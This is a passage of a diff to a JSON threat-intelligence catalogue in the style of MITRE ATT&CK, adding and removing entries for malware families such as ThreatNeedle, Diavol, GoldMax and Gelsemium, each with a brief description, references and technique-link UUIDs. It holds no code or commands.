"e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -63463,110 +60927,6 @@ "uuid": "727afb95-3d0f-4451-b297-362a43909923", "value": "ThiefQuest - S0595" }, - { - "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)", - "meta": { - "external_id": "S0665", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0665", - "https://securelist.com/lazarus-threatneedle/100803/" - ], - "synonyms": [ - "ThreatNeedle" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "16040b1c-ed28-4850-9d8f-bb8b81c42092", - "value": "ThreatNeedle - S0665" - }, { "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)", "meta": { @@ -64273,6 +61633,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "tags": [ @@ -64287,13 +61654,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d", "tags": [ @@ -64391,7 +61751,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0568", - "https://www.prevailion.com/phantom-in-the-command-shell-2/", + "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [ @@ -64501,209 +61861,6 @@ "uuid": "7cdfccda-2950-4167-981a-60872ff5d0db", "value": "EVILNUM - S0568" }, - { - "description": "[PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)", - "meta": { - "external_id": "S0685", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0685", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" - ], - "synonyms": [ - "PowerPunch" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d52291b4-bb23-45a8-aef0-3dc7e986ba15", - "value": "PowerPunch - S0685" - }, - { - "description": "[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)", - "meta": { - "external_id": "S0659", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0659", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://www.ic3.gov/Media/News/2022/220120.pdf" - ], - "synonyms": [ - "Diavol" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "4e9bdf9a-4957-47f6-87b3-c76898d3f623", - "value": "Diavol - S0659" - }, { "description": "[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", "meta": { @@ -65011,7 +62168,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -65051,6 +62208,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "96ea1e13-d50f-45f1-b0cf-4ac9bc5a2d62", @@ -65335,13 +62499,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", "tags": [ @@ -65410,16 +62567,14 @@ "value": "Waterbear - S0579" }, { - "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)", + "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", "meta": { "external_id": "S0588", "mitre_platforms": [ - "Windows", - "Linux" + "Windows" ], "refs": [ "https://attack.mitre.org/software/S0588", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], @@ -65450,13 +62605,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -65832,1801 +62980,7 @@ ], "uuid": "d6e55656-e43f-411f-a7af-45df650471c5", "value": "Kinsing - S0599" - }, - { - "description": "[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "S0666", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0666", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Gelsemium", - "Gelsevirine", - "Gelsenicine", - "Gelsemine" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2de47683-f398-448f-b947-9abcc3e32fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", - "value": "Gelsemium - S0666" - }, - { - "description": "[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "S0667", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0667", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Chrommme" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "579607c2-d046-40df-99ab-beb479c37a2a", - "value": "Chrommme - S0667" - }, - { - "description": "[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)", - "meta": { - "external_id": "S0686", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0686", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" - ], - "synonyms": [ - "QuietSieve" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "03eb4a05-6a02-43f6-afb7-3c7835501828", - "value": "QuietSieve - S0686" - }, - { - "description": "[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)", - "meta": { - "external_id": "S0668", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0668", - "https://blog.talosintelligence.com/2021/09/tinyturla.html" - ], - "synonyms": [ - "TinyTurla" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "2a7c1bb7-cd12-456e-810d-ab3bf8457bab", - "value": "TinyTurla - S0668" - }, - { - "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)", - "meta": { - "external_id": "S0669", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0669", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" - ], - "synonyms": [ - "KOCTOPUS" - ] - }, - "related": [ - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], 